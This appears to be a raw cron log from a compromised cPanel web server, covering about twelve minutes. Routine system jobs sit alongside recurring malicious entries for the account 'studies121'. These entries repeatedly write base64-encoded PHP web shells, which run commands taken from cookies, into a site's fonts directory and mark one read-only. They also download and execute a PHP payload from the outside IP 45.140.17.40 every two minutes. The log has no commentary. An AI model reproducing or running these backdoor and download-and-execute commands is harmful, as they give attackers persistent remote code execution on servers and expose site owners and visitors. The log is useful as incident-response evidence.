Aug 30 04:27:02 ip-184-168-122-23 CROND[11166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:28:01 ip-184-168-122-23 CROND[11331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:28:01 ip-184-168-122-23 CROND[11333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:28:01 ip-184-168-122-23 CROND[11334]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:28:01 ip-184-168-122-23 CROND[11336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:28:01 ip-184-168-122-23 CROND[11335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:29:01 ip-184-168-122-23 CROND[11430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:29:01 ip-184-168-122-23 CROND[11433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:29:01 ip-184-168-122-23 CROND[11432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:29:01 ip-184-168-122-23 CROND[11434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:30:01 ip-184-168-122-23 CROND[11525]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Aug 30 04:30:01 ip-184-168-122-23 CROND[11528]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 30 04:30:01 ip-184-168-122-23 CROND[11530]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:30:01 ip-184-168-122-23 CROND[11532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:30:01 ip-184-168-122-23 CROND[11533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:30:01 ip-184-168-122-23 CROND[11527]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 04:30:01 ip-184-168-122-23 CROND[11529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:30:01 ip-184-168-122-23 CROND[11535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:30:01 ip-184-168-122-23 CROND[11536]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:30:01 ip-184-168-122-23 CROND[11540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:31:01 ip-184-168-122-23 CROND[11651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:31:01 ip-184-168-122-23 CROND[11653]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 04:31:01 ip-184-168-122-23 CROND[11654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:31:01 ip-184-168-122-23 CROND[11655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:31:01 ip-184-168-122-23 CROND[11657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:32:01 ip-184-168-122-23 CROND[11755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:32:01 ip-184-168-122-23 CROND[11759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:32:01 ip-184-168-122-23 CROND[11757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:32:01 ip-184-168-122-23 CROND[11758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:32:01 ip-184-168-122-23 CROND[11760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:33:01 ip-184-168-122-23 CROND[11863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:33:01 ip-184-168-122-23 CROND[11864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:33:01 ip-184-168-122-23 CROND[11866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:33:01 ip-184-168-122-23 CROND[11870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:34:01 ip-184-168-122-23 CROND[12001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:34:01 ip-184-168-122-23 CROND[12003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:34:01 ip-184-168-122-23 CROND[12005]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:34:01 ip-184-168-122-23 CROND[12004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:34:01 ip-184-168-122-23 CROND[12006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:35:01 ip-184-168-122-23 CROND[12188]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 04:35:01 ip-184-168-122-23 CROND[12192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:35:01 ip-184-168-122-23 CROND[12197]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:35:01 ip-184-168-122-23 CROND[12198]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 04:35:01 ip-184-168-122-23 CROND[12196]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:35:01 ip-184-168-122-23 CROND[12194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:35:01 ip-184-168-122-23 CROND[12193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:35:01 ip-184-168-122-23 CROND[12195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:36:01 ip-184-168-122-23 CROND[12332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:36:01 ip-184-168-122-23 CROND[12334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:36:01 ip-184-168-122-23 CROND[12333]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:36:01 ip-184-168-122-23 CROND[12335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:36:01 ip-184-168-122-23 CROND[12336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:37:01 ip-184-168-122-23 CROND[12430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:37:01 ip-184-168-122-23 CROND[12432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:37:01 ip-184-168-122-23 CROND[12434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:37:01 ip-184-168-122-23 CROND[12433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:38:01 ip-184-168-122-23 CROND[12535]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:38:01 ip-184-168-122-23 CROND[12537]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Aug 30 04:38:01 ip-184-168-122-23 CROND[12538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:38:01 ip-184-168-122-23 CROND[12541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:38:01 ip-184-168-122-23 CROND[12540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:38:01 ip-184-168-122-23 CROND[12542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:39:01 ip-184-168-122-23 CROND[12673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:39:01 ip-184-168-122-23 CROND[12675]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 04:39:01 ip-184-168-122-23 CROND[12676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:39:01 ip-184-168-122-23 CROND[12678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
